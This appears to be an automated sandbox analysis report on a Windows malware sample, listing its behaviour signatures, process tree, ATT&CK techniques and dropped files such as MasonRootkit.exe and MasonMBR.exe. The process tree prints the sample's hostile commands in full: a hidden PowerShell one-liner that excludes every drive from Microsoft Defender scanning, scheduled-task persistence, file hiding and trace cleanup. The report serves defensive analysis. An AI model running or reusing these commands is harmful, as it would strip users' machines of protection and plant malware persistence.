Analysis
- user interaction
yes - max time kernel
300s - max time network
302s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 14:04
General
- Target nasser &&, badr.exe
- Size 643KB
- Sample260727-rdfd5st1bw
- SHA256 c9a5664b921b9a86746511903610ef2cab53a205c6afee57342b9fd374df243d
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 9 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 5 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 8 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
- Drops file in Windows directory 3 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Delays execution with timeout.exe 2 IoCs
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies data under HKEY_USERS 53 IoCs
- Modifies registry class 4 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 5 IoCs
- Suspicious use of SendNotifyMessage 24 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d14bf9ff-cbc6-4be8-a6f6-b130fdb0df6e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f346e593-f256-4094-87c0-990f1aec389f -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e9c16e0b-c25b-4c34-a5cd-f6043bc8acbf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ca46a5f8-50f1-4a84-b7c4-f6a1debe7e4e -LifetimeId:d266eb8f-8a75-43e2-b270-b18a690c1fdf -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Local\Temp\Squidward.exe"C:\Users\Admin\AppData\Local\Temp\Squidward.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2730.tmp.bat""3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\System32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe"C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --r5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --wd 38806⤵
- Executes dropped EXE
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && S‡‘àvÂ¥&&¬º5÷ mT ðü•€í* ò¾±†Dç‰[<uȃ"Æ‘<šÌÁ¶ð ˆPޱÀÙñècÛäR]äLMÎéù|Ó;Å›…#öå®Ò‡ÌQM“Œ‰‹¬ãyô¢2} xÅtÑÆÍ¿eºXŽ ŽŠKf(M5§~Û<xP⮈r¹Ë+ÜË5K©š}û5¾Ö+¸Œh]øµNÆÑJ$™Žz¾L[ó‡T/AÌ„g T ]îÉ åvT %(d×Uyc§ ç&è0©âdì; ÐÖø”çe ©_—-ñ*%q´Íq̹gC=$©ÁEÞgÆë†÷k´>m÷'i;U]=D¶:X Jœ+#o{6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"6⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"6⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"7⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && schtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it >nul 2>&1 && schtasks /run /tn "mu_3656_240785171" >nul 2>&1 && ping -n 3 127.0.0.1 >nul 2>&1 && schtasks /delete /tn "mu_3656_240785171" /f >nul 2>&16⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "mu_3656_240785171"7⤵
-
-
C:\Windows\system32\PING.EXEping -n 3 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn "mu_3656_240785171" /f7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Squidward.exe"C:\Users\Admin\AppData\Local\Temp\Squidward.exe"6⤵
- Executes dropped EXE
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2A1E.tmp.bat""7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Windows\system32\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F82⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵
-
C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵
-
C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding1⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\unregmp2.exe"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\unregmp2.exe"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
5File/Path Exclusions
1Hidden Files and Directories
2Hidden Window
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
2Clear Persistence
1Clear Windows Event Logs
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
CurrentDatabase_400.wmdb
CurrentDatabase_400.wmdb
WMSDKNS.DTD
WMSDKNS.XML
PrintServiceRuntime.exe
MasonGDI.exe
MasonMBR-SLEEP.exe
MasonMBR.exe
MasonRootkit.exe
Squidward.exe
tmp2730.tmp.bat
tmp2A1E.tmp.bat
tmpF895.tmp
wmsetup.log
74d7f43c1561fc1e.automaticDestinations-ms
74d7f43c1561fc1e.customDestinations-ms
74d7f43c1561fc1e.customDestinations-ms
memory/748-68-0x000001BA6FAE0000-0x000001BA6FB0B000-memory.dmp
memory/748-67-0x000001BA6FAB0000-0x000001BA6FAD5000-memory.dmp
memory/748-69-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/972-72-0x00000216155F0000-0x000002161561B000-memory.dmp
memory/972-73-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/980-76-0x000001FA3F1C0000-0x000001FA3F1EB000-memory.dmp
memory/980-77-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1004-81-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1004-80-0x00000167721A0000-0x00000167721CB000-memory.dmp
memory/1032-85-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1032-84-0x0000012A57450000-0x0000012A5747B000-memory.dmp
memory/1124-88-0x00000293B44B0000-0x00000293B44DB000-memory.dmp
memory/1124-89-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1200-93-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1200-92-0x000002735D340000-0x000002735D36B000-memory.dmp
memory/1248-97-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1248-96-0x000001F628870000-0x000001F62889B000-memory.dmp
memory/1316-101-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1316-100-0x0000019166FD0000-0x0000019166FFB000-memory.dmp
memory/1372-105-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1372-104-0x0000015206FC0000-0x0000015206FEB000-memory.dmp
memory/1408-63-0x00007FFB96540000-0x00007FFB967A3000-memory.dmp
memory/1408-65-0x00007FFB95910000-0x00007FFB959D7000-memory.dmp
memory/1572-108-0x000002C76BC40000-0x000002C76BC6B000-memory.dmp
memory/1572-109-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1612-112-0x000001FF591A0000-0x000001FF591CB000-memory.dmp
memory/1612-113-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1636-117-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1636-116-0x000002088B940000-0x000002088B96B000-memory.dmp
memory/1732-121-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1732-120-0x00000209AE520000-0x00000209AE54B000-memory.dmp
memory/1744-125-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1744-124-0x000001CC46B10000-0x000001CC46B3B000-memory.dmp
memory/1796-129-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/1796-128-0x000001EDAF1C0000-0x000001EDAF1EB000-memory.dmp
memory/2016-133-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2016-132-0x0000022180F10000-0x0000022180F3B000-memory.dmp
memory/2024-136-0x0000019E12D60000-0x0000019E12D8B000-memory.dmp
memory/2024-137-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2076-140-0x0000025689D30000-0x0000025689D5B000-memory.dmp
memory/2076-141-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2084-145-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2084-144-0x0000026414DC0000-0x0000026414DEB000-memory.dmp
memory/2112-148-0x0000026B44F40000-0x0000026B44F6B000-memory.dmp
memory/2112-149-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2208-152-0x000001EB2AD70000-0x000001EB2AD9B000-memory.dmp
memory/2208-153-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2260-15-0x00007FF799380000-0x00007FF79943E000-memory.dmp
memory/2312-156-0x00000207C6A70000-0x00000207C6A9B000-memory.dmp
memory/2312-157-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2368-161-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2368-160-0x0000024D03D90000-0x0000024D03DBB000-memory.dmp
memory/2408-164-0x000001B609B50000-0x000001B609B7B000-memory.dmp
memory/2408-165-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2496-168-0x000001E4B0110000-0x000001E4B013B000-memory.dmp
memory/2496-169-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2548-2-0x00007FF6DB030000-0x00007FF6DB0EE000-memory.dmp
memory/2592-172-0x0000022A4FEC0000-0x0000022A4FEEB000-memory.dmp
memory/2592-173-0x00007FFB56680000-0x00007FFB56690000-memory.dmp
memory/2656-176-0x000002557D600000-0x000002557D62B000-memory.dmp
memory/2976-36-0x0000000002580000-0x00000000025C2000-memory.dmp
memory/3880-31-0x00007FF799380000-0x00007FF79943E000-memory.dmp
memory/3880-16-0x00007FF799380000-0x00007FF79943E000-memory.dmp
memory/3880-14-0x00007FF799380000-0x00007FF79943E000-memory.dmp
memory/4348-10-0x000001AAFE140000-0x000001AAFE14A000-memory.dmp
memory/4348-5-0x000001AAFE070000-0x000001AAFE092000-memory.dmp
memory/4348-8-0x000001AAFE120000-0x000001AAFE13E000-memory.dmp
memory/4348-9-0x000001AAFE2E0000-0x000001AAFE392000-memory.dmp
memory/4688-59-0x00000000000F0000-0x0000000000106000-memory.dmp
memory/4716-30-0x00000000016A0000-0x00000000016E2000-memory.dmp
memory/4716-29-0x0000000000DB0000-0x0000000000E3C000-memory.dmp
memory/4720-371-0x0000000005FA0000-0x0000000006032000-memory.dmp
memory/4720-370-0x0000000000F30000-0x0000000000F46000-memory.dmp
memory/6128-13-0x00007FF619820000-0x00007FF6198DE000-memory.dmp